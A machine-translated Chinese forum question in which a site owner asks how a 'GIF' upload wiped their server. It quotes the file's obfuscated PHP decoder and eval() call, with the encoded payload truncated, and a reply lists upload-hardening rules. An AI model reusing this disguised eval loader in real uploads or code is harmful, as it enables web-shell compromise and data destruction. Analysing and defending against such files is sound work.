我有一個Linux服務器,我有一個上傳圖像在我的網站,註冊用戶可以上傳他的圖片,當他登錄到他的個人資料,他可以看到他的圖像,他也可以得到他的形象的URL鏈接,所以圖像上傳到WWW/img目錄中的服務器 我檢查在PHP文件的擴展名,只允許(.png,.gif,.jpg)文件什麼是缺陷,必須在文件上傳
但我不知道爲什麼有人上傳了一個GIF圖像並刪除了我的所有文件,我得到了由用戶上傳的圖像,因爲我們有RAID,圖像的內容有點像.... ...
function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............
這是怎麼回事,這是怎麼發生的,所有的文件如何被刪除? 什麼語言是這樣的,我怎麼能防止刪除文件..
切勿允許用戶上傳的文檔在doc根目錄下。決不允許用戶上傳的文件在磁盤上被命名爲其原始名稱。命名沒有文件擴展名的文件。永遠不要相信原始文件名來確定文件類型。設置合理的上傳大小限制。 – Brad